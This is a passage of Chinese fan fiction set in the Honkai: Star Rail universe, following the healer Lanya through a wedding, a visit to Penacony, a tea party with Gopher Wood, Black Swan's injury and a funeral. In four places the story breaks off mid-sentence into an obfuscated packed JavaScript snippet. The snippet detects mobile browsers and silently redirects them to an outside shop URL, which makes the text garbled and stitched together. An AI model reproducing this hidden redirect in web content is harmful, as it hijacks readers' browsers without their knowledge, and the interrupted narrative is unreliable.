兰涯还是没说话。 白焰说:“后来我活下来了,你救了我,救了很多人。但仙舟和丰饶民的战争没有结束,一直在打,断断续续的,不知道什么时候会轮到我。” 兰涯知道,那些疼痛从虚数脉络传来没有停过,她已经习惯了,习惯成自然,自然到她不再去想。 白焰说:“说不定下次就见不到面了,所以今天请你吃饭,怕没机会了。” 兰涯伸手摸了摸白焰的耳朵,毛茸茸的软软的,白焰没有躲,听到她说:“不会的。” 白焰愣了下,然后笑得更开了,她站起来绕过桌子抱住兰涯,脸埋在兰涯的肩窝里,耳朵贴着她的脖子,痒痒的,闷闷地说了一声:“谢谢你,兰涯。” 兰涯伸手回抱住她,拍了拍她的背。 白焰松开她坐回去,拿起筷子又夹了一片毛肚放进红汤里。她说:“你还记得你在玉阙救的第一个云骑校尉吗?” 兰涯想了想,想起来了,玉阙战地医院那个濒死的伤者,那人醒过来后,自己说你还能上去打三百回合。 “就是他,”白焰说,“他叫衡安,倏忽围攻的时候受了重伤你救了他,他后来调来曜青,我们认识的。我们商量了,以后有了孩子认你做干妈。” 这个词语按在自己身上可太新鲜了,兰涯感觉有什么沉甸甸的责任在自己身上,不过她还是颔首:“好。” 白焰笑了:“那就说定了。” 婚礼在第二天,白焰穿着红色的嫁衣,衡安穿着红色的礼服,他紧张得像是要上战场,站在那里手不知道往哪放。神奇的是,白焰握住他的手,他就不抖了。 两个人站在司仪面前鞠躬,白焰的耳朵一直竖着,尖端的那抹朱红在灯光下很亮,衡安看她的时候眼睛里有光。 兰涯坐在宾客席里,旁边是青禾、苏湄和其他几个姑娘,苏湄哭得稀里哗啦,纸巾用了一包又一包,把青禾的衣服都扯过来擦眼泪了。 兰涯当然没有哭,她看着白焰和衡安站在一起,红色的嫁衣和红色的礼服混在一起分不清谁是谁,感觉自己像妈妈一样,特别欣慰。 她拿出手机给拉曼查发了条消息:“白焰结婚了。” 拉曼查回得很快:“你在曜青?” “嗯。” “什么时候回来?” 回来?不知不觉中,自己在游侠基地暂留的时间过长,产生了回家的错觉吗? 兰涯放下这种奇怪的发现,回复:“过两天。我要去一趟匹诺康尼。” “匹诺康尼?干什么?” “找米哈伊尔,替铁尔南传话。” 拉曼查显示正在输入中的状态半天,然后发了一句:“我跟你一起去。” 兰涯想了想,回了一个“好”。 拉曼查在游侠基地换衣服。这次出门是拜访故人之友,他不想以游侠的身份进匹诺康尼,那里现在是同谐六大家系“家族”的地盘,巡海游侠和公司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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拉曼查颇有侦探模样地摸摸下巴:“直觉告诉我,直接去白日梦酒店问一问就行了,不是在酒店,就是在梦境。” “梦境?”这又是什么新鲜词语。 拉曼查解释:“匹诺康尼分现实和梦境,现实中的匹诺康尼是一座悬于银河的星际酒店,你可以在这里办理入住,进入客房休息。而入睡后,你才会见到匹诺康尼真实的样子,由十二片梦境构成的梦之国度。” 两人步入酒店,大堂大得离奇,吊灯是水晶的垂下来好几层,地面是大理石的,光可鉴人。前台站着几个接待员穿着统一的制服,笑容标准。 拉曼查走到前台压低帽檐:“我们找米哈伊尔。” 接待员愣了一下:“请问您有预约吗?” 拉曼查说:“没有。请你告诉他,铁尔南的朋友来了。” 接待员拿起电话拨了一个号码低声说了几句,挂了电话对拉曼查说:“请稍等,有人来接您。” 23. 第 23 章 他们在大堂的沙发上坐了大概五分钟,一个穿着制服的年轻侍者走过来请他们跟着走。走进电梯,上了顶楼,穿过一条走廊,年轻侍者在一扇门前停下来,敲了敲门,里面有人说“请进”。 门开了,米哈伊尔站在窗边转过身来,曾经年轻的无名客,头发已经白了。他看着拉曼查和兰涯,声音很低很稳:“铁尔南的朋友?” 两人自我介绍后,兰涯说:“铁尔南托我传话。” 米哈伊尔看着她,等着她继续说下去。 兰涯说起了天鹰堡战役,那是兰涯最后一次见到铁尔南。 米哈伊尔听完没有说话,他转过身看着窗外,窗外是匹诺康尼的城景,建筑高低错落,玻璃幕墙反射着阳光。 沉默了很久,他又看了看拉曼查:“铁尔南在失踪后加入了巡海游侠?” 拉曼查回忆了一下,将铁尔南随灯蛾家系一同重新开辟银轨,遭到虫群袭击,被游侠解救下来的事讲了,将后来他加入了巡海游侠参与诛杀绝灭大君的事也讲了,最后总结:“非常优秀的无名客和游侠,一名真正纯粹、高尚且无私的伟大战士。” 米哈伊尔自豪地笑了,为自己曾经的列车同伴而自豪:“是的,他非常优秀。” 他走到桌边,倒了两杯苏乐达递给他们:“他走之前,有没有说别的?” 苏乐达很好喝,很特别的果味汽水。兰涯放下杯子,开口:“他说匹诺康尼是个很棒的地方,说你们曾经拼命守护这里,说让你一个人在这里他很抱歉。” 米哈伊尔端着杯子没有喝,看着杯里的苏乐达噗噗噗地向上冒泡,:“他就是这样,总是道歉,明明没什么好道歉的。” 没有人接话,房间里很安静,窗外有鸽子飞过,影子落在玻璃上很快消失了。 米哈伊尔放下杯子,走到兰涯面前,伸出手:“钟表匠向您致意,绝境医师。”兰涯握了握他的手。 他又看了看拉曼查:“也向您致意,领猎人,感谢游侠出手相助。” 米哈伊尔邀请两人体验一下梦境十二时刻,兰涯对于梦这种东西很好奇,毕竟她自己从来没有做过梦。 进入房间,从入梦池里沉下去的时候,兰涯感觉到一种奇怪的震动,有什么声音钻进了耳朵。 那个声音像是虫群翅膀在震动,无数对翅膀叠在一起,嗡嗡嗡的。嗡声下面还压着一层别的东西,更沉更闷,像什么东西在被干扰、被撕裂、被重新拼起来。 她睁开眼睛,发现自己站在一个很奇怪的地方。远处有一个巨大的黑洞,脚下踩着一层薄薄的水面,但鞋底是干的,她蹲下来摸了一下地面,干的,硬的,像玻璃又像石头,站起来看向四周,什么都没有,只有水和黑洞,延伸到无限远的地方 这个地方很像是虚无深渊。她曾在那里坐了很久,久到她以为自己会永远坐下去。但这里又不太一样,真正的虚无深渊有雾,灰色的浓雾翻涌着像活物。这里没有雾,只有水和黑洞,水是透明的,黑洞是黑的,一切都是静止的。 她听到身后有脚步声。她转过身,看到拉曼查朝她走过来。 “你怎么在这?”她问。 拉曼查走到她面前停下来,看了看周围。“我不知道。入梦之后就到了这里。”他顿了顿,“这是太阳的时刻?这也算太阳?” 原本计划去太阳的时刻参观博物馆,显然现在身处之地南辕北辙。 兰涯说:“当然不是太阳的时刻,我观察了一下,也不是虚无深渊,那里有雾,很冷,这里没有,也没那么冷。” 拉曼查像个侦探一样抓住了细节:“你去过虚无深渊?” “对,在诛罗之战的前面,我被人从那里带了出来。” 拉曼查所有所思,不过也没再多问。 两个人站了一会儿,确认了三件事。第一,这里不是梦境十二时刻的任何一个。第二,这里没有出口。两人试着往前走了一段路,走了一刻钟,风景没有任何变化,水和黑洞,水和黑洞。 第三,地上流动的不是水,是忆质。 兰涯在黑塔空间站搜索“无漏净子”时,读过一篇关于忆质的论文,说梦境是由忆质构建的,忆质的流动和凝固决定了梦境的形态和稳定程度。 她当时觉得这篇论文写得太抽象,没怎么看懂,但此刻她忽然想起论文里的一句话:忆质的底层存在一个“后门”机制,当入梦者的肉/体濒临死亡时,后门会自动开启,将意识转移到安全区域,避免意识随肉/体一同消亡。 如果按照这个理论,这里可能就是梦境系统的后门,映照出的是入梦人的内心。现在入梦人是自己,虚无深渊是自己重新启程的地方,映照出也不奇怪。 兰涯疑惑的目光转移到拉曼查身上:“你入梦时有听到什么吗?” 拉曼查犹豫了一下,说:“听到了咀嚼和吞噬的声音。” 兰涯看着他,没有接话。拉曼查看着她,也没有说话。两个人站在水和黑洞之间,站了很久,气氛一时间尴尬起来。 “出不去。”拉曼查说。 “对,等着吧。” “不知道要等多久。” “嗯。” “找点事做。” 兰涯抬头:“做什么?” 拉曼查把手杖放在地上,在干燥的水面上坐下来,把斗篷铺在旁边,拍了拍那个位置,示意兰涯坐下来。 “真心话。”拉曼查说,“一人问一个,轮流来。” 兰涯同意了。 猜拳,拉曼查先问。他看着远处那个沉默的黑洞,问了一句:“你一直在疼,对吗?” 兰涯点头,拉曼查脸上露出了“果然如此”的表情。 下一回合轮到兰涯问:“现在味觉已经退化了吗?” 拉曼查愣了一下:“你怎么知道?” “违反规则了,现在是我问你答,你先回答问题。” 拉曼查沉默了片刻,说:“已经开始退化了。苦味最先走的,喝咖啡喝不出苦味了,喝起来像热水。甜味也在退,米哈伊尔那里喝的那杯苏乐达,不甜,就是果香气泡水的味道。” 轮到拉曼查问刚才的疑问:“你怎么知道我的味觉退化了?” 兰涯将遇到观星者我见的事说了,包括拉曼查和贪饕影子共生、影子吞噬了什么他就能尝到什么味道、到最后他会失去味觉。兰涯说完,看着拉曼查的眼睛,补了一句:“你瞒得很好。” 拉曼查没有说话。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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拉曼查对博物馆没什么兴趣,但他没有催兰涯。他跟在兰涯后面,手杖点地,帽檐压低,像一尊移动的雕像。 兰涯走得很慢,每一个展柜都要停下来看,看完正面看侧面,看完侧面看背面。拉曼查问她看什么,她说看无名客的东西。匹诺康尼是米哈伊尔、铁尔南和拉扎莉娜三个无名客打下来的基础,她想看看这里的记录。 结果没看到什么。匹诺康尼大博物馆的三楼有一个展厅叫“拓荒之路”,占了不到三十平米,靠墙一排展柜,中间一个沙盘。展柜里放着几件拓荒时期的工具,一把生锈的镐头、一盏摔扁的油灯、一件磨出洞的皮围裙。墙上挂着一块展板,上面写着:“匹诺康尼自建设初期起,便吸引了来自各个派系的拓荒者,他们的贡献为今日的盛会之星奠定了坚实基础。”整段话里没有出现“无名客”三个字,也没有出现米哈伊尔、铁尔南或拉扎莉娜的名字。 拉曼查站在那块展板前看了很久,然后说了一句:“他们把无名客抹掉了。” 兰涯没有说话,她拿起展厅入口的导览手册翻了翻,关于“拓荒之路”展厅的介绍只有一行字,写着“本展厅展示了匹诺康尼早期建设者的奋斗历程”,同样没有提无名客。 24. 第 24 章 他们离开大博物馆之后去了初醒图书馆。 图书馆在太阳的时刻北侧,是一栋六层楼的建筑,外立面是玻璃幕墙,反射着匹诺康尼的蓝色天空。 兰涯在一楼大厅的电子区找到了一个终端,屏幕上列着各种多媒体资料,包括老电影、纪录片和动画片。她点开了《钟表小子和他的伙伴们》,因为封面上的钟表小子让她想起了自己发间那枚金色的时针。 动画片每集只有七八分钟,画风很简单,线条圆润,配色明亮,像给小孩子看的那种。兰涯看了一集又一集,拉曼查站在她旁边,也跟着看。 拉曼查看到钟表小子拔下自己指针的时候,转头看了兰涯一眼。兰涯发间别着两枚针,一枚金色的时针,一枚银色的指针。 他没有说话,但兰涯知道他在想什么,按了暂停,说:“钟表小子是罗盘小子。” 她忽然意识到一件事,如果钟表和罗盘是互补的,那终末和开拓也是互补的。终末就是开拓,开拓就是终末?它们不是对立的,是一个东西的两面。 兰涯把这个念头在脑子里转了两圈,选择继续往后看。 后面出现了一个新角色,叫镜子公主。镜子公主和钟表小子关系很好,偷偷跟着上了罗盘号。镜子王国的士兵想要抓回镜子公主,罗盘号的船员用石头把士兵们砸成了碎片。 故事的最后,镜子公主牺牲自己,让大家打败了“不知道”,而且镜子公主留下的镜子碎片,帮助了大家很多,谐乐小镇来了个木头老爷愿意帮助钟表小子。 兰涯在图书馆的资料库里搜索了“镜子公主”,只搜到两条记录。 一条是动画片的制作访谈,导演说镜子公主的原型是匹诺康尼早期的一位拓荒者,没有提名字。 另一条是某个影迷写的文章,说镜子公主的形象设计参考了无名客拉扎莉娜。 据说她为了探明原初梦境的秘密,独自驾驶穿梭机消失在忆域中,再也没有回来。影评人还写道:拉扎莉娜以一己之力打造出了忆质航路,成为梦境十二时刻的伟大奠基者,但如今很少有人知道她的名字了。 这篇文章阅读量少得可怜,几乎等于零的程度。 兰涯关了终端,坐在椅子上没有动。拉曼查站在旁边,手杖拄在地上,也没有动。图书馆大厅里很安静,只有翻书的声音和远处走廊里皮鞋踩在地板上的声音。 “家族把无名客的功绩全抹掉了。”兰涯说。 “嗯。” “米哈伊尔一个人在这里,没有人帮他。” “嗯。” 兰涯想起铁尔南说的话。他说“等战火平息了,你一定要去匹诺康尼做客,去看看我们曾经拼命守护的那种安宁与美好”。 他说“顺便替我向米哈伊尔问好,只余下他一个人,真的很抱歉”。 她现在明白铁尔南为什么说“只余下他一个人”了。不只是因为两位无名客的离开只剩下米哈伊尔一个人,更是因为无名客的贡献被抹掉了,活着的人里记得他们的人越来越少,米哈伊尔一个人在撑。 拉曼查把手杖靠在桌边,拉了把椅子坐下来。他摘下帽子放在桌上,头发被帽子压得有点塌,他伸手捋了捋:“还发现什么了?” 兰涯把镜子公主和拉扎莉娜的事说了一遍,分析说在入梦池里误入的那个后门空间,可能就是拉扎莉娜留的。因为只有她深入过忆域,只有她知道怎么在忆质的底层开一条通道,连家族都不知道那条通道的存在。 拉曼查听完沉默了一会儿,说:“无名客做了事,家族不想让他们留名。” 兰涯说:“但铁尔南记得。米哈伊尔记得。” 拉曼查说:“他们快撑不住了。” 兰涯没有说话,她第一次体会到了为他人遭受不公平的不高兴。 阳光从玻璃幕墙照进来,落在地板上,亮晃晃的。兰涯看着那片光,想起铁尔南在战场上说的另一句话,他说“与其期盼明天,不如在今天灿烂”。 她当时觉得那是一句安慰她的话,现在想想,可能也是他自己对自己的交代。他知道自己回不来了,所以在那一天把该说的话都说了。 兰涯站起来,把椅子推回原位。拉曼查也站起来,拿起帽子戴好,拿起手杖。 “回现实。”两人不约而同地做出了决定。 两个人走出图书馆,沿着太阳的时刻的街道往回走。 一只鸟落在他们面前,鸟不大,羽毛是如深夜一样的颜色,眼睛是橙黄色的,瞳孔很圆,看着他们,一动不动。 兰涯认出了那种鸟,隐夜鸫。她博物馆的展板上看到过,隐夜鸫是匹诺康尼的原生鸟类。 隐夜鸫歪了歪头,将嘴里衔着的纸卷放下。拉曼查打开纸卷,念出里面的字:“橡木家系,梦主歌斐木,诚挚邀请绝境医师前往私人茶会。” 兰涯看着那只隐夜鸫,隐夜鸫看着她。鸟没有走,就蹲在那里,橙黄色的眼睛一眨不眨。 “他知道我们在这。”兰涯说。 拉曼查把纸卷递给她:“家族的消息比我们想的灵通。” 兰涯接过纸卷,翻来覆去看了一遍。纸张背后还印着橡木盾牌的纹章,盾牌中间是一棵橡树,树冠很大,根系很深。刚才那行邀请的下方还有一行字,写着茶会的地点,位于朝露的时刻的朝露公馆。 “去不去?”拉曼查问。 兰涯想了想:“不想去也得去。” “我陪你。” “你进得去吗?” 拉曼查看了看那张邀请函,上面只邀请了兰涯。他把帽子往下压了压,说:“我在外面等。” 隐夜鸫看到兰涯收了,扑了扑翅膀,转身飞走了。它飞得很低,翅膀几乎擦着地面,在街角拐了个弯就消失了。 朝露公馆的走廊很长,地毯是深红色的,踩上去没有声音。每隔几米就有一盏壁灯,灯光昏黄,把墙体的边框照得发亮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485893|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 走廊尽头有一扇门,门是深棕色的,门把手是黄铜的,磨得发亮。门口站着一个穿黑色礼服的侍者,看到兰涯走过来,微微鞠了一躬,替她拉开了门。拉曼查在走廊里停下来,靠在对面的墙上,手杖拄在身前,帽檐压低。 兰涯走进房间。 房间不大,是一个小型的会客厅。地上铺着深色的木地板,中间放着一张圆桌,桌上铺着厚实的桌布,摆着一套茶具。圆桌旁边坐着一个人。 他看起来有一种神职人员的模样,黑色头发梳得很整齐,架着一副眼镜,脑袋后面的圆环告知了自己天环族的身份。 歌斐木没有站起来,他抬起头看着兰涯,眼睛仿佛是笑眯眯的,但那个笑容没有温度。 “绝境医师。”他的声音很优雅,“请坐。” 兰涯在圆桌另一侧坐下来。桌上摆着两杯茶。歌斐木端起自己那杯抿了一口,放下,看着兰涯。 “医师在匹诺康尼逛了一天,觉得这里如何?” 兰涯说:“很好。很热闹。” 歌斐木点了点头:“匹诺康尼能成为盛会之星,离不开家族的治理。家族各司其职,橡木家系统筹全局,才有了今日的繁荣。我们希望它能一直走下去,走到更远的地方。如果有人想破坏这一切,家族不会坐视不管。” 兰涯看着他:“谁要破坏?” 歌斐木没回答,巧妙地问:“医师今天参观了博物馆,对匹诺康尼的历史感兴趣?” “有一点。”兰涯说。 “匹诺康尼的历史很长,也很复杂。有些事,不是一句两句能说清的。”歌斐木放下茶杯,双手交叠放在桌上,“但有一件事是确定的,匹诺康尼能走到今天,是因为有人愿意为它牺牲。米哈伊尔先生为匹诺康尼付出了无数心血,家族一直感念他的贡献。” 兰涯看着歌斐木,他的表情很真诚,真诚到几乎看不出破绽。 歌斐木站起来,走到书架边,背对着兰涯,双手背在身后。 “医师有没有想过,为什么匹诺康尼的梦能这么美好?” 兰涯说:“没有。” 歌斐木转过身看着她,笑眯眯的眼睛微微睁开,像一口枯井,看不到底。 “因为美梦需要秩序。”歌斐木说,“没有秩序的美梦,很快就会变成噩梦。之所以制定十二时刻,划分梦境,限制入梦者的行为,不是为了限制自由,是为了保护自由。没有这些秩序,匹诺康尼早就被那些疯狂的逐梦客毁灭了。” 他走回圆桌旁,重新坐下。 “医师游历宇宙,应该知道,没有秩序的约束,是脆弱的;没有牺牲的安宁,是虚假的。” 兰涯看着他,问了一句:“你想说什么?” 然后歌斐木真的像什么教堂神父一样,说出了一段话: “神明赐予我们天火,也赐予我们神圣的磨难。便令它们存在吧,你我皆属凡人,生来便要去爱,去受痛苦。” 25. 第 25 章 他说这句话的时候,语气像在念一段已经写好的经文。 “匹诺康尼的美梦不是永恒的。”歌斐木说,“任何美梦都会醒来,任何乐园都会坠落。这是命途,是定数,是不可更改的规律。” 他的手指在桌面上轻轻敲了一下,“乐园终将跌入愁苦人世,黎明一旦升起,便要坠毁于白昼。凡是金的,怎可能光华长留?” 兰涯端起茶杯喝了一口。茶凉了,涩味更重了。 “但我不接受。”歌斐木说。 他的声音变沉了,像一块石头扔进了深水里,咚的一声,然后就沉下去了。 “我不接受匹诺康尼的坠落,我不接受美梦的终结。如果注定要走向毁灭,那我就用自己的规则来对抗。”他抬起头看着兰涯,眼睛完全睁开了,没有光,但有一种很重的东西。 “我将以自身化作四条太初律令。每一条都是一堵墙。墙立起来之后,匹诺康尼就不会再受外界干扰。美梦会持续,乐园会永恒。” 兰涯皱起眉:“你不是在保护匹诺康尼,你是在囚禁它。” 歌斐木没有否认,嘴角那个没有温度的笑容又浮现出来:“囚禁和守护,有时候是同一件事。医师救过无数人,医师应该明白,为了让一个人活下去,有时候需要按住他,不让他动。” 兰涯想说“那不是救人,那是控制”,但她没有说,因为她意识到歌斐木不是来跟她辩论的,他是来通知她自己要做什么。他已经决定了,别人的意见不重要。 “医师救过无数人,在战场上逆转生死,在废墟中挽回生命,见过最深的绝望,也见过最亮的光。那么,医师有没有想过一个问题——” 歌斐木站起来,走到墙边,抬手拉了一下垂在那里的金线流苏。房间里暗了下来,只留下一盏壁灯,昏黄的光照在圆桌上,把两个人的影子拉得很长。 “为什么有了星神,有了命途,有了医师这样的人,生命依然被压迫?为什么不公在宇宙的每一个角落都存在?” 兰涯看着他,没有说话。 他重新坐回兰涯对面,他的影子落在桌布上,把银质茶具都盖住了。 “医师,匹诺康尼的事,医师管不了。不是医师能力不够,是这件事的根源不在匹诺康尼。根源在命途本身,命途是狭隘的,星神是被命途束缚的。巡猎只能狩猎,存护只能筑墙,欢愉只能笑,哪怕同谐的三重面相都无济于事。” “你的茶会结束了?”兰涯没有回应,而是站起来问。 歌斐木微微欠身,像一位老派的绅士在向客人道别:“医师请便。橡木家系会一路关照医师的行程。” 兰涯走到门口,拉开门。走廊里的灯光比房间里亮,刺得她眯了一下眼睛。拉曼查靠在走廊对面的墙上,姿势和她进去时一模一样,帽子压低,手杖拄在身前。看到她出来,他站直了身体。 “走。”兰涯说。 两个人沿着走廊往回走。深红色的地毯踩上去没有声音,壁灯一盏一盏地退到身后。离开朝露的时刻后,拉曼查才开口。 “他说什么了?” 兰涯把歌斐木的话复述了一遍。拉曼查听完,说:“他在警告你别管匹诺康尼的事。” “我知道。” “你打算怎么办?” 兰涯想了想,按道理,铁尔南托她传的话已经传到了,匹诺康尼的真相也看到了。家族想抹掉无名客的痕迹,米哈伊尔一个人撑得很辛苦,她帮不了什么。她不是无名客,不是家族的人,不是匹诺康尼的居民,她只是路过。 但她想起铁尔南说的话,“去看看我们曾经拼命守护的那种安宁与美好”。她看到了,安宁是表面的,美好是粉饰的,下面压着的是被窃取的历史和孤立无援的前行者。 “我不知道怎么形容这种情绪。”兰涯据实相告,“胸口有什么东西堵着,不是疼,疼我熟悉。这个不一样,像有人在我身体里点了一把火,烧得我不舒服。铁尔南他们拼了命守护的东西,被人抹掉了。米哈伊尔一个人撑了那么久,没有人帮他,凭什么。” “这种感情叫愤怒。”拉曼查的脸上带着些许过来人的欣慰,“你觉得一件事不对,不公平,你想改变它,但你发现自己改变不了。这时候胸口烧起来的那把火,就是愤怒。光愤怒没用,得把愤怒变成别的东西,变成子弹,变成箭。不然愤怒就是烧完就灭的火,留不下任何东西。” 兰涯没有说话,拉曼查跟在身边。 “不过歌斐木有些话不无道理。”拉曼查把手杖换到另一只手上,帽檐下的表情看不太清楚,但他的声音很沉,“虽然他把无名客和家族之间利益权力问题虚化模糊了,但那句对命途的认知倒是没错,根源在命途本身。” “观星者曾跟我说过,宇宙就像一个玻璃瓶,命途就是玻璃瓶里的气球,每个气球都越吹越大,势必阻碍了其他气球的容量,于是纷争开始了。我听完后只有一个想法,那么多命途那么多星神存在的意义又是什么?真的能给生命带来幸福吗?” 说到这里,拉曼查自觉失言,赶紧找补:“咳,没有说天弓坏话的意思。” 兰涯却若有所思:“玻璃瓶里的气球,这个说法很有道理。” 两人走进匹诺康尼的夜色里。灯还亮着,音乐还响着,人群还在笑。兰涯远远地站着,看着这一切。 歌斐木想用四条律令把匹诺康尼锁起来,让它永远停在美梦里。他以为这样就能解决问题,但他错了。 锁住一座城,锁不住命途的狭隘,不公不义在城外还在,在城里也还在,只是被美梦盖住了,盖住的东西不会消失,它会烂在下面。 兰涯想起歌斐木说的那个问题,又想起刚刚拉曼查的话,她没有答案。 她救了无数人,但她救不了命途本身。她可以逆转一个人的伤势,但她逆转不了命途的走向。她可以在战场上把伤员从死亡线上拉回来,但她拉不回一个被命途压垮的世界,连她自己都是被命途引起的寰宇战争磋磨。 米哈伊尔住在白日梦酒店最里面的那间套房。兰涯敲了门,等了一会儿,门开了。 他看起来比上次见面时更瘦了一些,颧骨下面的阴影更深了。 他请两人进去,倒了苏乐达, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她伸手探了探女人的气息,活着,比较稳定,只是一时间晕过去了,就把女人拉出来,带回自飞船,放在躺椅上。 拔出双针,金色的光芒从针尖扩散,笼罩了女人的全身。 兰涯等了几秒,什么都没有发生。伤口还在,灰白色的边缘还在。 她又试了一次,金色的光芒更亮了,但伤口还是没有变化。 兰涯把针收回来,看着女人的脸。伤口还在,她的针没有用,很奇怪。 她不知道为什么会这样,双针从来没有失过手。不管是倏忽的瘴气还是绝灭大君的诅咒,扎下去就能稳住,但这个不行。 此时,女人的眼皮动了一下,慢慢睁开,她的眼睛是深紫色的,瞳孔有些涣散,花了几秒钟才聚焦。她看到兰涯,嘴唇动了一下。 “绝境医师。”声音很轻,像从很远的地方传来的。 兰涯点了点头:“我是。”送上了一杯温水。 喝了水,女人有了点力气,颔首致意:“我是「流光忆庭」的忆者黑天鹅,感谢您的帮助。” 26.第 26 章 面对黑天鹅的感谢,兰涯摇摇头:“并没有帮助到你,你是第一个我治疗失败的人。” “我原本计划前往匹诺康尼收集一些忆质样本,没想到遇到了模因生物的病毒式袭击。” 黑天鹅说起前因,接着思考了一会儿,缓缓分析。 “我们忆者很多早已舍弃肉身,这句身体是由模因构成,因此模因生物的病毒式袭击,对我来说不是破坏人体细胞,而是篡改记忆。就像是我的记忆里被挖了一个洞,洞在扩大,如果扩到把整个我吞掉,我就不存在了。” 这件事真是闻所未闻,兰涯在黑塔空间站对于记忆的数据里也没看到,也可能是被黑塔上权限了。 兰涯再次观察她脸上那道灰白色的伤口,伤口没有流血,也没有愈合,就那样停在那里。 黑天鹅看着兰涯的双针,慢慢地把话说完:“绝境医师之名寰宇皆知,都说医师能逆转受伤和死亡。但这次看来,医师的针逆转不了定义篡改,不能把被篡改的定义变回原本的定义,因为定义存于伤者自己的记忆之中。” 兰涯真诚地表达了歉意和感谢,毕竟这是她自己都没发现的问题。 她想起包里的那本笔记,拿出来,递到黑天鹅面前,介绍说这是拉扎莉娜的忆质动力学研究笔记,米哈伊尔托她分享给有缘人,她觉得黑天鹅就是那个有缘人。 黑天鹅翻开笔记,看了几页,手指在纸页上慢慢滑过,停在某一行文字上,看了很久。她把笔记合上,抱在胸口,诚挚地道了谢。 飞船折返回匹诺康尼,将黑天鹅送了过去,黑天鹅说到了匹诺康尼自己会通过忆质慢慢恢复。这位到处搜集忆质的忆者还好心地提醒:“医师,要小心丰饶的某些行者,那群人对你意见不小呢。” 兰涯习以为常:“这事我倒是能感觉到一点。” “就在昨天,仙舟「苍城」被丰饶令使倏忽的活化行星「噬界罗睺」吞噬,那些丰饶民最近嚣张得很。” 这个披着紫色头巾的女子抛下一枚新闻炸弹,下了船。 飞船里只剩下诡异的安静,两人不约而同地打开手机开始搜索新闻。 兰涯参加了一场葬礼。 英烈祠建在曜青最高的山崖上,青灰色的石墙,黑色的瓦顶,门口立着两根石柱,柱上刻着云骑军徽。 风很大,从崖下吹上来,把石阶上的灰尘吹得干干净净。 牌位特别多,苏湄的牌位只是其中之一,木牌不大,正面刻着她的名字,背面刻着她入伍的年份和牺牲的日期。没有棺材,没有遗体,只有一张照片。照片里的苏湄穿着云骑军的制服,笑得露出牙齿。 苏湄爱笑,也爱哭。送兰涯衣服那天,苏湄的笑容比阳光还灿烂。在白焰的婚礼上,苏湄哭得稀里哗啦,纸巾用了一包又一包。 兰涯站在牌位前面,看着那张照片,照片里的人不会笑了,也不会哭了。 青禾穿着纯黑的衣服,头发没有盘,散在肩上,脸色白得像纸。她没有哭,眼睛是干的,但眼眶红得惊人。白焰站在青禾旁边,扶着青禾的手臂,生怕青禾倒下。她的耳朵贴着头发,没有竖起来。 苍城被噬界罗睺吞噬,苏湄所在的云骑编队负责掩护平民撤离,编队全军覆没,无人生还。没有遗体,没有遗物,只有一份阵亡通知书和一个名字。 司仪说:“送英烈。”云骑军战士抬起右手,行了一个军礼。家属们低下头。 青禾没有低头,她看着苏湄的照片,嘴唇动了动。这次兰涯听到了她说的话。“你说你会回来的。”只有这一句,声音很小,像被风刮散了。 白焰扶着青禾走到崖边。青禾手里抱着一个木箱,打开箱子,从里面拿出一件东西,是一块叠得整整齐齐的丝巾,颜色是苏湄喜欢的青色。 她把丝巾举到嘴边,亲了一下,然后轻轻放进风里。丝巾被风吹起来,飘了几步,落了下去,掉进崖下的云海里。 青禾又拿出一本书,是苏湄在看的飞行手册,书页已经翻卷了,边角磨得发白。她把书放进风里,书页被风吹得哗哗响,翻了几页,也落了下去。 青禾一件一件地拿,一件一件地放。 丝巾、书、一支用旧了的毛笔、一叠信、一个磨得发亮的哨子。每放一件,她就停一下,看着那东西被风吹走,然后拿下一件。 放到最后一件的时候,她停住了。那是一枚小小的徽章,云骑军的校尉徽章,银色的,边缘有磨损。 青禾把徽章攥在手心里,攥了很久。白焰伸手抱住她,她把脸埋在白焰的肩窝里,终于哭了出来。 白焰拍着她的背,没有说话。风从崖下吹上来,把青禾的头发吹散了,和那些飘落的东西一起,消失在云海里。 看着青禾进了休息室休息,白焰走了出来,看到兰涯守在门口。 她穿着黑色的衣服,耳朵还是耷拉在头发边上,她和兰涯慢慢地走到英烈祠后面的走廊里,那里没有人。 “兰涯。”白焰的声音有点哑。 “嗯。” 白焰靠在柱子上,仰头看着天花板,停了一会儿:“我有个女儿。叫白珩。” 她说白珩小时候特别粘苏湄,不要她抱,不要青禾抱,就要苏湄抱。 苏湄每次来家里,白珩就挂在苏湄身上,像一只小猴子。 后来白珩长大了,不挂人了,但她跟苏湄说,她不要当学者,也不要像很多狐人一样经商,她想要飞在天上,也想要像苏湄一样保护大家。 白焰说这些的时候,脸上充满了回忆和骄傲。 